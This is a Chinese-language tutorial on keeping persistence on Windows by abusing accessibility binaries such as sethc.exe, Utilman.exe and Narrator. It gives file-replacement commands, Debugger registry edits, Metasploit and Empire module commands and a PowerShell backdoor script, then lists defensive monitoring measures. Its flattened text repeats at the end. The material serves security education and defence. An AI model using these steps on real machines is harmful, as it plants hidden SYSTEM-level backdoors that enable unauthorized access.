利用windows的辅助功能进行权限维持
字数 1180 2025-08-25 22:58:20

Windows辅助功能权限维持技术详解

技术概述

Windows辅助功能(如粘滞键、讲述人、放大镜等)原本是为残障人士设计的便利功能,但可以被攻击者利用来实现权限维持。这种技术通过替换或修改相关二进制文件或注册表项,在系统上建立持久化后门。

主要技术实现方法

1. 粘滞键后门(sethc.exe)

原理:通过替换或重定向粘滞键程序(sethc.exe)来获取高权限命令行。

实现步骤

  1. 用cmd.exe替换sethc.exe:
    copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
    
  2. 或者修改注册表项:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe
    添加Debugger键,值为C:\Windows\System32\cmd.exe
    

触发方式:连续按5次Shift键,将弹出具有SYSTEM权限的命令提示符。

2. 讲述人(Narrator)后门

原理:修改讲述人相关的注册表项实现无文件持久化。

关键注册表路径

Computer\HKEY_CURRENT_USER\Software\Classes\AppXypsaf9f1qserqevf0sws76dx4k9a5206\Shell\open\command

实现步骤

  1. 删除"DelegateExecute"注册表键
  2. 修改"Default"注册表键来执行恶意命令

优化设置(降低检测风险):

  • 禁用讲述人启动声音
  • 设置讲述人自动启动
  • 降低讲述人音量

3. 其他辅助功能后门

可被利用的辅助功能程序包括:

  • sethc.exe (粘滞键)
  • Utilman.exe (轻松访问中心)
  • osk.exe (屏幕键盘)
  • Narrator.exe (讲述人)
  • Magnify.exe (放大镜)

自动化工具实现

Metasploit实现

  1. 使用后渗透模块:

    use post/windows/manage/sticky_keys
    

    该模块会用CMD替换辅助功能二进制文件。

  2. 启用RDP(如需):

    use post/windows/manage/enable_rdp
    

Empire实现

使用模块:

usemodule persistence/misc/debugger/*

支持修改以下二进制文件的Debugger注册表项:

  • sethc.exe
  • Utilman.exe
  • osk.exe
  • Narrator.exe
  • Magnify.exe

PowerShell脚本实现

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
$keyName = "sethc.exe"
$stringName = "Debugger"
$binaryValue = "C:\Windows\System32\cmd.exe"

IF (Test-Path ($registryPath + $keyName)) {
    # 移除现有后门
    Remove-Item -Path ($registryPath + $keyName) | Out-Null
    write-host "Sticky Key backdoor has been removed."
}
ELSE {
    # 添加后门
    New-Item -Path $registryPath -Name $keyName | Out-Null
    New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null
    write-host "Sticky Keys backdoor added."
}

防御措施

  1. 监控以下注册表路径的修改:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
    
  2. 对系统目录下的辅助功能程序(sethc.exe, utilman.exe等)设置严格的ACL权限。

  3. 定期检查系统目录中辅助功能程序的哈希值。

  4. 禁用不必要的辅助功能。

  5. 监控连续Shift键触发事件。

参考资源

  1. MITRE ATT&CK技术条目:T1015
  2. GitHub项目:
    • https://github.com/szymon1118/logon_backdoor
    • https://github.com/HanKooR/Sticky-Keys
  3. 技术博客:
    • https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/
    • https://oddvar.moe/2018/07/23/another-way-to-get-to-a-system-shell/

总结

Windows辅助功能权限维持技术是一种经典的持久化方法,因其隐蔽性和高权限特性被广泛使用。防御方应重点关注相关注册表项和系统文件的监控,同时限制不必要的辅助功能使用。

Windows辅助功能权限维持技术详解 技术概述 Windows辅助功能(如粘滞键、讲述人、放大镜等)原本是为残障人士设计的便利功能,但可以被攻击者利用来实现权限维持。这种技术通过替换或修改相关二进制文件或注册表项,在系统上建立持久化后门。 主要技术实现方法 1. 粘滞键后门(sethc.exe) 原理 :通过替换或重定向粘滞键程序(sethc.exe)来获取高权限命令行。 实现步骤 : 用cmd.exe替换sethc.exe: 或者修改注册表项: 触发方式 :连续按5次Shift键,将弹出具有SYSTEM权限的命令提示符。 2. 讲述人(Narrator)后门 原理 :修改讲述人相关的注册表项实现无文件持久化。 关键注册表路径 : 实现步骤 : 删除"DelegateExecute"注册表键 修改"Default"注册表键来执行恶意命令 优化设置 (降低检测风险): 禁用讲述人启动声音 设置讲述人自动启动 降低讲述人音量 3. 其他辅助功能后门 可被利用的辅助功能程序包括: sethc.exe (粘滞键) Utilman.exe (轻松访问中心) osk.exe (屏幕键盘) Narrator.exe (讲述人) Magnify.exe (放大镜) 自动化工具实现 Metasploit实现 使用后渗透模块: 该模块会用CMD替换辅助功能二进制文件。 启用RDP(如需): Empire实现 使用模块: 支持修改以下二进制文件的Debugger注册表项: sethc.exe Utilman.exe osk.exe Narrator.exe Magnify.exe PowerShell脚本实现 防御措施 监控以下注册表路径的修改: 对系统目录下的辅助功能程序(sethc.exe, utilman.exe等)设置严格的ACL权限。 定期检查系统目录中辅助功能程序的哈希值。 禁用不必要的辅助功能。 监控连续Shift键触发事件。 参考资源 MITRE ATT&CK技术条目:T1015 GitHub项目: https://github.com/szymon1118/logon_ backdoor https://github.com/HanKooR/Sticky-Keys 技术博客: https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/ https://oddvar.moe/2018/07/23/another-way-to-get-to-a-system-shell/ 总结 Windows辅助功能权限维持技术是一种经典的持久化方法,因其隐蔽性和高权限特性被广泛使用。防御方应重点关注相关注册表项和系统文件的监控,同时限制不必要的辅助功能使用。